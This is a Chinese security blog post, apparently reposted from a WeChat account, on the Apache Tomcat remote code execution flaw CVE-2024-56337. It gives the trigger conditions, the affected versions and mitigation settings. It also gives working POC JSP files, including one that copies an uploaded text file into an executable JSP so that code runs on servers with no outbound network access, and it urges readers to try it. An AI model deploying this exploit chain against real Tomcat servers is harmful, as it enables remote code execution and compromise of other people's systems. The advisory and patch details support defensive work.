此次漏洞的出现,源于对Tomcat条件竞争漏洞(CVE-2024-50379)的修复措施,但修复不够完整,导致Apache Tomcat 在特定配置下运行,攻击者可能利用该漏洞通过写入恶意文件,实现远程代码执行。
相比于原本的Tomcat条件竞争漏洞(CVE-2024-50379),无非是漏洞实现上稍微多了些许限制,其他无异样。
触发条件
1、readonly 初始化参数设置为false;
2、Tomcat 运行在区分大小写的文件系统上(Windows或某些Linux文件系统);
3、Java属性sun.io.useCanonCaches为true(Java8和Java 11默认为 true,Java17 默认false,Java21及以上版本不受影响)
影响版本
-
Apache Tomcat 11.0.0-M1 至 11.0.1
-
Apache Tomcat 10.1.0-M1 至 10.1.33
-
Apache Tomcat 9.0.0-M1 至 9.0.97
之前我们分别发布了两篇文章,分别是Tomcat条件竞争RCE的复现、以及一篇如何让它持久的利用:
Tomcat RCE | CVE-2024-50379条件竞争RCE复现,带视频教程及POC
书接上回 | Tomcat条件竞争RCE该如何深入利用,让它持久而并非昙花一现
局限还是比较大的:首先就是需要在Windows上,在漏洞版本范围内,然后开了PUT请求,才能利用条件竞争进行上传。
但是有些东西,你懂的,不可能完全没人开启的,研究它,就是为了在遇到这个漏洞时更好的进行利用:
第二篇文章,咱们已经描述了这个条件竞争漏洞的利用条件,并提供了一个远程下载的方案,但是这个方案还是有一个问题:如果目标不出网,无法进行远程下载,所以咱们总结了一个最终利用。
已经有群友反馈成功了,你也快试试吧:
Tomcat分大小写,所以竞争结束后访问xlz1.jsp和xlz1.txt返回404;
访问xlz1.Jsp或者xlz1.Txt的话会输出代码,反正就是不执行。
总结一下就是受限制了,读取生成的没毛病。
POC如下
获取时间:
GIF89a
<%@page import="java.text.SimpleDateFormat"%>
<%@page import="java.util.Date"%>
<%@ page language="java" contentType="text/html; UTF-8"
pageEncoding="UTF-8"%>
<html>
<head>
<meta charset="utf-8">
<title>java_bean</title>
</head>
<body>
<%
Date date = new Date();
SimpleDateFormat df = new SimpleDateFormat("yyyy-MM--dd HH:mm:ss");
String today = df.format(date);
%>
当前时间:<%= today%>
</body>
</html>
读取重命名并保存:
<%@ page import="java.io.*" %>
<%
//要读取的文件
String sourceFilePath = application.getRealPath("/") + "xlz1.txt";
//重新保存后的文件名
String destinationFilePath = application.getRealPath("/") + "time123.jsp";
try {
FileReader fileReader = new FileReader(sourceFilePath);
BufferedReader bufferedReader = new BufferedReader(fileReader);
FileWriter fileWriter = new FileWriter(destinationFilePath);
BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);
String line;
while ((line = bufferedReader.readLine()) != null) {
bufferedWriter.write(line);
bufferedWriter.newLine();
}
bufferedReader.close();
bufferedWriter.close();
out.println("SAVA_PATH: " + destinationFilePath);
} catch (IOException e) {
e.printStackTrace();
out.println("Error: " + e.getMessage());
}
%>
1. 升级 Apache Tomcat版本至:
-
Apache Tomcat 11.0.2 及以上
-
Apache Tomcat 10.1.34 及以上
-
Apache Tomcat 9.0.98 及以上
2. 临时缓解
Java8/Java11:设置系统属性sun.io.useCanonCaches
为false(默认值为 true)。
Java17:如该属性被设置,需确保其值为false(默认值为 false)。
Java21 及以上版本:无需配置(该属性已被移除)。
设置方法示例:
在启动 Tomcat 的 JVM 参数中添加:
-Dsun.io.useCanonCaches=false
利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全及文章对应作者
不为此承担任何责任
文章来自互联网或原创
如有侵权可联系我方进行删除
并诚挚的跟您说声抱歉
原文始发于微信公众号(犀利猪安全):Tomcat RCE | CVE-2024-56337远程代码执行,带复现视频及POC
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论